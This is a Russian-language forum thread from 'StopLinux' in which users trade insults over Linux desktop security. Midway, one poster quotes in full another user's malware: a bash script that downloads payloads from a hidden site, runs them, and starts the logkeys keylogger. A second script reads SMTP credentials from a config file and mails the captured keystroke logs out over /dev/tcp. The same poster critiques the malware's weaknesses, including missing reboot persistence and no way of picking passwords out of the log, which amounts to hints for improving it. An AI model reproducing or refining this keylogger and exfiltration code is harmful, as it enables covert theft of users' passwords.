Форум StopLinux

Вообще то попроще, если речь идёт о том, чтобы написать какую специфичную програмку, которая нужна только тебе, и больше ничего от компьютера не нужно, и готового решения нету, то линукс будет предпочтительнее виндов.

То есть, очередным костылём. Я правильно понял? А что же не родным файловым менегером? Уёбищный да? -)) Дельфин его раздавит не заметив -))

Да, плачь пока тихо, роняя скупую мужскую слезу. Как крокодил, ты будешь плакать, когда соберешься поднять что-то посерьёзней домашней машины.

Шапочки из фольги и синей изоленты нет в комплекте?

Это пишет "админ" некоего "сервера"? А же говорил, что виндовые Одмины - через одного, редкостные долбоёбы. Даже советовать ничего не буду. Пусть идёт у палатки бутылки собирает.

Угу...Только скажи ка мне, какого х*я они тут экспертами выступают по системе которую они не знают. А!?

lsof -i

Админ, естественно, вчерашний виндеец.

А как же мегабезопасный Linux? Что-то же завелось на сервере.

selenscy, вот это баттхёрт!

Да, и я это подтвердил. Почему ж тебя это так припекло?

...а в итоге показал свою криворукость и п*здливость.

А что тебе ещё остаётся, кроме как по-идиотски смеяться? Вопросы мои, друХ ты мой, были абсолютно по-существу. И ответов ты на них так и не дал. Ты не ответил, почему твои "взломанные машины" все сплошь виртуалки в руках вендузятнегов; ты не ответил, как ты собираешься перехватывать адреса электронной почты, если "клиент" не вводит их руками (человек пользуется закладками; он заходит на yandex.ru и даже если у него нет автологина и автозаполнения, он введёт ручками логин: vasja и пароль: 123456; как ты узнаешь, от какого ресурса эти логин и пароль? Не проще ли было бы для таких дел фейковую страницу yandex'а сделать и воровать печеньки?) Почему у тебя в логах пользователи вбивают адреса от почты руками? почему ты не осилил прочитать man к кейлоггеру? Ведь при запуске кейлоггера с теми опциями, что ты лепишь, он выдаёт кашу неразборчивых символов, в то время как у меня он заработал после прочтения man'а? Как ты решаешь проблему перезагрузки, ведь у тебя в скрипте этого нет? Твой примитив настолько по-идиотски сделан, что по определению не в состоянии работать.

Ну, вот когда навесишь, тогда и хвастаться будешь о том, как ты "поимел все линупсы на планете". А пока что низачёт.

Это единственное, что у тебя получается без глюков и косяков.

О_о! Ты, я вижу, таки его допилил? Значит, мои вопросы, всё-таки, возымели действие, да? Мне ты выложил вот эту хню:

#!/bin/bash

logk=`ps -A|grep logk|wc -l`
if [[ "$logk" -ge "1" ]] ; then
    /папка где шкеримся/logk -k
fi
wget -q -t 1 -N -nd https://некий сайтец/conf -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/spam -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/engine -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/sys -P /папка где шкеримся/
/папка где шкеримся/./sys
/папка где шкеримся/./mailsend2
size=`du -b /usr/lib/engine/keys | awk '{print $1}'`
if [[ "$size" -ge "8192" ]] ; then
    rm -f /папка где шкеримся/keys
    /папка где шкеримся/logk -s -o /папка где шкеримся/keys --no-func-keys
    echo $file1
    exit 0
fi
/папка где шкеримся/logk -s -o /папка где шкеримся/keys --no-func-keys
#!/bin/bash

  e_from=`cat /папка где шкеримся/conf | awk '{if (NR==1) {print $1}}'`
  e_to=`cat /папка где шкеримся/conf | awk '{if (NR==2) {print $1}}'`
  header=`cat /папка где шкеримся/conf | awk '{if (NR==3) {print $1}}'`
  body=`cat /папка где шкеримся/conf | awk '{if (NR==4) {print $1}}'`
  e_server=`cat /папка где шкеримся/conf | awk '{if (NR==5) {print $1}}'`
  e_login=`cat /папка где шкеримся/conf | awk '{if (NR==6) {print $1}}'`
  e_pass=`cat /папка где шкеримся/conf | awk '{if (NR==7) {print $1}}'`
  subject=`cat /папка где шкеримся/conf | awk '{if (NR==8) {print $1}}'`
  e_port=`cat /папка где шкеримся/conf | awk '{if (NR==9) {print $1}}'`

exec 9<>/dev/tcp/$e_server/$e_port
echo "HELO me" >&9
read -r temp <&9
  echo "auth login" >&9
read -r temp <&9
echo $e_login >&9
read -r temp <&9
  echo $e_pass >&9
read -r temp <&9
echo "Mail From: $e_from" >&9
read -r temp <&9
echo "Rcpt To: $e_to" >&9
read -r temp <&9
echo "Data" >&9
read -r temp <&9
  cat $header >&9
echo "Subject: "$subject >&9
echo "From: "$e_from >&9
echo "To: "$e_to >&9
echo >&9
cat $body >&9
echo "." >&9
read -r temp <&9
echo "quit" >&9
read -r temp <&9
9>&-
9<&-
exit 0

Теперь, я вижу, ты и права на исполнения даёшь. Хотя кейлоггер так и запускается с нерабочими опциями.

Пилять, ещё раз: отправка мейла мне не интересна, это совершенно тривиальная вещь! Откуда в логе кейлоггера возьмутся адреса электронной почты? Чаще всего заходишь на сайт (по закладке), у тебя уже даже логин введён, остаётся только ввести пароль. Откуда ты знаешь, что selenscy_clown — это пароль от моего почтового ящика? Как ты его выделишь среди других набранных мной символов? Далее: горе-линуксоиды, качающие софт со всяких помоек, и к консоли относятся как к чему-то страшному и ужасному. Если среди них и найдётся парочка идиотов, сумевших ввести в консоли sudo su, чтобы ты увидел это в логах, то какова вероятность, что они скачают твою поделку? Те же, что консолью не пользуются, будут запускать программу и, если ей понадобятся привилегии, то отработает gksu и его аналоги. Где у тебя перехват этого события? Нету? У тебя юзвери вбивают в консоль sudo su, а в браузер yandex.ru? Да ещё и вендузятнеги с линупсом в виртуалке? И ты хочешь, чтобы тебе поверили? Стена ============> там.

А ты предлагаешь самому додумываться, что за процесс ты ищешь, а потом пытаешься запустить программу с тем же именем? Я посмотрел у себя в процессах, естественно, ничего подобного не нашёл. Поискал в репозиториях, тоже нет программы с таким именем. Спрашиваю: что за процесс ищется и какая программа запускается? На что опять получил ведро помоев в лицо и обвинения в некомпетентности. Наконец, добился ответа: это, типа, кейлоггер. Ну, ok, кейлоггер, значит, кейлоггер. Самописный или какой? Если самописный можно ли увидеть код? В ответ: "да ты бля списиалист и бла-бла-бла!!111 это logkeys!!111". Наконец, после этого стало ясно, что это за опция -k к logkeys'у и почему ты сначала ищешь, а потом "запускаешь" опять. Написал бы "killall logkeys", вопросов бы не возникало. Спрашиваю: это в бубунте он так называется? — нет, он вкладывается в .deb-пакет. Ну, наконец-то, хоть что-то вытянули пассатижами! И так по каждому пункту: получаешь ведро помоев, призываешь не кипятиться, получаешь кусочек информации, опять задаёшь вопрос, наконец оно разрождается-таки ещё кусочком информации. И это всё после полуночи, когда параллельно выполняешь срочную работу. В итоге ты, друХ мой, так мне настох*ел своими в*ебонами, что я решил на тебя просто забить и больше не мучиться вопросами. Поскольку у меня возникло устойчивое впечатление, что ты сам не понимаешь, что написано в "твоём" же скрипте и ты вынужден постоянно бегать к кому-то за консультацией. И, судя по тому, что ты продолжаешь дописывать свою поделку, мои вопросы таки возымели действие.

Повторять-то ты это повторяешь. Теперь. Но сколько времени и терпения понадобилось, чтобы из тебя вытянуть эту информацию? А уж заставить тебя прочитать man к logkeys'у, чтобы он у тебя нормально заработал, так и не получилось.

После перезагрузки? Как он у тебя запускается после перезагрузки? Или опять начнёшь вопить о "тупом Apollo 11"? Впрочем, этому я уже и не удивляюсь.
P.S. Ты даже не понимаешь, насколько ты глупо выглядишь со своей поделкой, получив root'а и не сумев даже организовать ни автозапуск после перезагрузки, ни перехват событий, ни чего бы то ни было ещё. Одно слово: клоун.

Добавлено спустя 18 мин 10 с:

Ну, вот-вот, вижу, что и свой косяк с size=`du -b /usr/lib/engine/keys | awk '{print $1}'` ты здесь подправил. И опять скажешь, что мой вопрос: "что это за каталог такой? и где в скрипте он создаётся" был глупым? Ты что мне ответил, чЮдик? Что этот каталог создаётся из .deb-пакета. Хотя сам .deb-пакет ты так и не выложил, но вопросы считаешь идиотскими? Знаешь, я всегда знал, что ты бестолочь, поэтому и сейчас не удивляюсь, но имей совесть, не пытайся выкрутиться сейчас.

Ни при чём, ежу же ясно. Как и всегда. И антивирус в нём не нужен, и бутсектор сам защищается, и работают в нём исключительно профессионалы, ставящие софт исключительно высокого качества исключительно из репозиториев. Вроде, я ничего не забыл.
А, не, забыл. Конечно же, это всё происходит на всём спектре оборудования, начиная от штопора и заканчивая МКС. При чём, со стандартным ядром.

Это только драйвера. Я сказал, что срабатывание вызовет их установка.

Не знаю кто как, я лично тут тока про десктопный линукс негодую.
К суперкомпьютерам, серверам, банкоматам, роутерам и всяким, там, датчикам лично у меня претензий никаких нет.

Ну не тревога, а вопрос позволить ли программе внести изменения, об этом я уже писал. Мне пожалуйста именно реакцию антивируса, что там эвристический анализ скажет?

Кстати необязательно и inf файл, можно и reg и зарегистрировать его в реестре.